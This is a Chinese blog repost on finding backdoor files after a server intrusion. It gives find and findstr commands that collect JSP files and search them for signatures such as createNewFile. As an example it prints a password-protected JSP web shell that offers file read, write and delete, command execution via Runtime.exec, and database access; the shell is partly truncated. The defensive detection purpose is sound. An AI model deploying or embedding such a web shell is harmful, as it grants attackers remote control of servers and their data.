博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
windows和linux查找被入侵后留下的后门文件
阅读量:7254 次
发布时间:2019-06-29

本文共 2970 字,大约阅读时间需要 9 分钟。

找/opt/下的所有jsp,拷贝到/dir

linux下 find /opt -name *.jsp|xargs cp -a --target-directory=/dir/ --parents

windows 下 for /r e:\t6_chinamaxx %1 in (*.jsp) do copy %1 g:\dir /Y

linux下 find . -name *.jsp|xargs cp -a --target-directory=/dir/ --parents

find . -name "*.jsp" | xargs egrep -liw "createNewFile| File\(| File "

findstr /S /M /D:e:\T6_lucene /C:"createNewFile" /C:" File " /C:" File(" *.jsp

后门例子:

View Code
1 <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> 2 <%! 3 String Pwd="cmd"; 4 String EC(String s,String c)throws Exception{
return s;}//new String(s.getBytes("ISO-8859-1"),c);} 5 Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance(); 6 Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;} 7 void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i
"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}17 void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();18 FileOutputStream os=new FileOutputStream(f);for(int i=0;i
<%45 String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);46 String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);47 StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");48 if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}49 else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));50 while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}51 else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));52 bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}53 else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}54 else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}55 else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);56 MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}57 else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}58 }catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());59 %>60

转载地址:http://wnzdm.baihongyu.com/

你可能感兴趣的文章
linux 技术网站
查看>>
jQuery使用示例详解
查看>>
分佈式事務故障處理暨ORA-24756: transaction does not exist處理
查看>>
Swift 数据类型
查看>>
数据结构 queue
查看>>
Go语言中的方法(Method Sets)
查看>>
简单的安卓音乐播放器
查看>>
svn提交代码
查看>>
关于头文件
查看>>
DDGScreenShot—图片擦除功能
查看>>
微软正式发布Chromium Edge开发预览版
查看>>
最老程序员创业札记:全文检索、数据挖掘、推荐引擎应用45
查看>>
解决 'chromedriver' executable needs to be in PATH.'报错
查看>>
构建之法
查看>>
找到当前mysql group replication 环境的primary结点
查看>>
迁移应用数据库到MySQL Database on Azure
查看>>
Fibonacci
查看>>
12.4.1 压缩索引
查看>>
springmvc图片上传(兼容ie8以上,实时预览)
查看>>
联想G510安装win7系统
查看>>